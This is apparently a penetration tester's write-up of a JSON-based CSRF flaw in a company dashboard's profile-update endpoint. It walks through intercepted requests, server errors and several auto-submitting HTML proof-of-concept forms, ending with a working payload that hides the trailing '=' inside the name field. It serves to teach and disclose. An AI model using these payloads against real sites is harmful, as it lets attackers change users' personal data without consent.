Exploiting JSON-Based CSRF: The Hidden Threat in Profile Management

During my work with @cyberarllc In a recent penetration testing engagement with a technology company that focuses on AI-driven accessibility solutions,.

Target is a technology company working to solve challenges of web accessibility through AI. The company has raised $58 million in two rounds of funding

I encountered an interesting CSRF (Cross-Site Request Forgery) vulnerability. The flaw allowed unauthorized changes to sensitive profile settings, including Personally Identifiable Information (PII). The vulnerability was particularly unique due to its exploitation method, leveraging JSON-structured requests and bypassing the content type restrictions.

This write-up dives into the technical challenges, the critical importance of securing PII, and how an often-overlooked CSRF vulnerability in JSON requests can lead to severe consequences.

Understanding CSRF: A Quick Primer

CSRF vulnerabilities occur when an attacker tricks an authenticated user into performing unintended actions on a vulnerable web application without their knowledge. These attacks typically exploit the lack of proper request validation and take advantage of a user’s session with the target system.

In a standard CSRF scenario, the browser automatically includes session cookies and headers with any requests sent to a web application. This means that if the user is logged into their account and unknowingly clicks a malicious link, the attacker can perform unauthorized actions like changing user information, deleting resources, or performing sensitive actions β€” all without the victim realizing it.

While traditional CSRF attacks often involve form submissions, the vulnerability I found during this engagement took on a different form: JSON-based CSRF.

The Challenge of JSON-Based CSRF

Modern applications often rely on JSON (JavaScript Object Notation) to transmit structured data between client and server. While JSON-based requests add flexibility to APIs and modern web services, they can introduce unique security challenges, especially when CSRF protection is overlooked.

The application in question lacked a mechanism to validate JSON requests for CSRF tokens when users modified their profile information. What made this case particularly tricky was the server’s handling of the Content-Type header. Instead of the typical application/json, the server accepted requests with the Content-Type set to text/plain, which allowed an attacker to send JSON-structured data through a crafted request.

Finding the Vulnerability

It all started when I logged in to the targeted dashboard at https://dashboard.target.com. I was particularly interested in testing the security of PII (personally identifiable information) data in the profile section, knowing how crucial it is for both users and companies to safeguard such information. Immediately, I navigated to https://dashboard.target.com/app/account to check for vulnerabilities in the account information update functionality.

Upon attempting to modify the profile information, I intercepted the outgoing request to investigate its structure and behavior. Here's what the request looked like:

POST /trpc/users.updateUserInfo?batch=1 HTTP/2
Host: dashboard.target.com
Cookie: <>
User-Agent: Mozilla/5.0 (X11; Ubuntu; Linux x86_64; rv:130.0) Gecko/20100101 Firefox/130.0
Accept: */*
Content-Type: application/json
Origin: https://dashboard.target.com
Referer: https://dashboard.target.com/app/account
Sec-Fetch-Mode: cors
Content-Length: 107

Request Payload:

{"0":{"accountName":"Cyberar s","name":"asdf ccccc","subscribed":"on","phone":"1099424296","country":"EG"}}

First Layer of Analysis: Cookies and Headers

Since there is no CSRF-Token. The first thing I did was dive into the cookie flags using browser developer tools. I found various cookies were set, but the most interesting one was the session cookie, which had the HttpOnly and Secure flags properly set. This meant the cookie couldn't be easily accessed via JavaScript, and it was only transmitted over secure HTTPS connections. However, the SameSite flag was set to None, a red flag in itself since it could allow cross-site requests depending on how other security measures were implemented.

To test how dependent the request was on these cookies, I sent the request with only the session cookie parameter. Surprisingly, the request was successfully processed, suggesting that the session cookie alone was all that was needed for authenticationβ€”there were no additional checks involving headers like Referer or Origin.

The JSON CSRF Vector

At this point, I noticed that the Content-Type of the request was set to application/json. Typically, JSON-based requests are less susceptible to CSRF because of the same-origin policy in most browsers. However, I saw a possible weakness in the Accept: */* header, which indicated that the server accepted all types of content formats, not just JSON.

This was where I saw an opportunity: I decided to test if the server would accept requests with a Content-Type of text/plain. If successful, this would open the door to a CSRF vulnerability since plain-text form submissions could be exploited in cross-site request forgery attacks.

Testing the text/plain Hypothesis

I modified the Content-Type header in the intercepted request to text/plain and sent it again. To my surprise, the server accepted the request and processed it successfully, even though it was supposed to handle JSON.

This confirmed the presence of a potential CSRF vulnerability. Now, the next step was to create a Proof of Concept (PoC) using Burp Suite's CSRF PoC generator, but I hit a snag here.

The Burp Suite PoC and the JSON Structure Problem

The CSRF PoC generated by Burp looked like this:

<html>
  <!-- CSRF PoC - generated by Burp Suite Professional -->
  <body>
    <form action="https://dashboard.target.com/trpc/users.updateUserInfo?batch=1" method="POST" enctype="text/plain">
      <input type="hidden" name="&#123;&quot;0&quot;&#58;&#123;&quot;accountName&quot;&#58;&quot;hacked&quot;&#44;&quot;name&quot;&#58;&quot;test user&quot;&#44;&quot;subscribed&quot;&#58;&quot;on&quot;&#44;&quot;phone&quot;&#58;&quot;1234567890&quot;&#44;&quot;country&quot;&#58;&quot;EG&quot;&#125;&#125;" value="" />
      <input type="submit" value="Submit request" />
    </form>
    <script>
      history.pushState('', '', '/');
      document.forms[0].submit();
    </script>
  </body>
</html>

However, the request generated by this PoC was formatted incorrectly. The = symbol at the end of the JSON payload caused the server to misinterpret the request as a malformed JSON:

POST /trpc/users.updateUserInfo?batch=1 HTTP/2
Host: dashboard.target.com
Content-Type: text/plain
{"0":{"accountName":"hacked","name":"test user","subscribed":"on","phone":"1234567890","country":"EG"}}=

The presence of the = symbol at the end was unexpected, and the server returned a parsing error:

{"error":{"message":"Unexpected non-whitespace character after JSON at position 116","code":-32700}}

so i tried the known bypass to add another parameter with anything in the value and will treat = as normal string but sadly this didn't work

<html>
  <body>
    <form action="https://dashboard.target.com/trpc/users.updateUserInfo?batch=1" method="POST" enctype="text/plain">
      <input type="hidden" name="&#123;&quot;0&quot;&#58;&#123;&quot;accountName&quot;&#58;&quot;hacked&quot;&#44;&quot;name&quot;&#58;&quot;tes&#32;edf&quot;&#44;&quot;subscribed&quot;&#58;&quot;on&quot;&#44;&quot;phone&quot;&#58;&quot;1099424297&quot;&#44;&quot;country&quot;&#58;&quot;EG&quot;&#44;&quot;anything&quot;&#58;&quot;" value="&quot;&#125;&#125;" />
      <input type="submit" value="Submit request" />
    </form>
    <script>
      history.pushState('', '', '/');
      document.forms[0].submit();
    </script>
  </body>
</html>

this resulted in error

Fixing the CSRF Exploit

To bypass this issue, I realized the = symbol could be "hidden" within a known parameter value instead of being treated as part of a new parameter. I tweaked the PoC code as follows:

<html>
  <body>
    <form action="https://dashboard.target.com/trpc/users.updateUserInfo?batch=1" method="POST" enctype="text/plain">
      <input type="hidden" name="&#123;&quot;0&quot;&#58;&#123;&quot;accountName&quot;&#58;&quot;Cyberar s&quot;&#44;&quot;name&quot;&#58;&quot;asdf ccccc&quot;&#44;&quot;subscribed&quot;&#58;&quot;on&quot;&#44;&quot;phone&quot;&#58;&quot;1099424296&quot;&#44;&quot;country&quot;&#58;&quot;EG" value="&quot;&#125;&#125;&#13;&#10;" />
      <input type="submit" value="Submit request" />
    </form>
    <script>
      history.pushState('', '', '/');
      document.forms[0].submit();
    </script>
  </body>
</html>

Unfortunately, the server still rejected the request, returning this error:

{"error":{"message":"Received 'EG=' is an invalid enum value for country.","code":"invalid_enum_value"}}

This confirmed that the server strictly validated the country field against a set of predefined values and did not accept arbitrary characters like =.

CSRF PoC and Exploitation Details

We’re not at the finish line yet, but here’s where things get interesting. After realizing that the issue with = being treated as part of the JSON structure was causing issues, I decided to embed the payload in the name parameter, where the server would treat it as normal text in the user’s name. This subtle approach led to a successful CSRF attack.

The CSRF PoC looked like this:

<html>
  <body>
    <form action="https://dashboard.target.com/trpc/users.updateUserInfo?batch=1" method="POST" enctype="text/plain">
      <input type="hidden" name="&#123;&quot;0&quot;&#58;&#123;&quot;accountName&quot;&#58;&quot;hacked&quot;&#44;&quot;name&quot;&#58;&quot;tes&#32;edf" value="&quot;&#44;&quot;subscribed&quot;&#58;&quot;on&quot;&#44;&quot;phone&quot;&#58;&quot;1099424297&quot;&#44;&quot;country&quot;&#58;&quot;EG&quot;&#125;&#125;&#13;&#10;" />
      <input type="submit" value="Submit request" />
    </form>
    <script>
      history.pushState('', '', '/');
      document.forms[0].submit();
    </script>
  </body>
</html>

This PoC sends a request like this:

{"0":{"accountName":"hacked","name":"tes edf=","subscribed":"on","phone":"1099424297","country":"EG"}}

As you can see, this worked flawlessly. The account settings could be updated with arbitrary values, effectively allowing an attacker to alter user profile details.

However, I attempted to escalate the issue into an account takeover (ATO) by adding the email parameter to the request. Despite my efforts, it turned out that the platform doesn’t allow users to change their email address, mitigating the risk of full ATO. Nevertheless, the vulnerability still posed a significant risk, as any data in the user's account settings (except the email) could be manipulated.

Resources

Last updated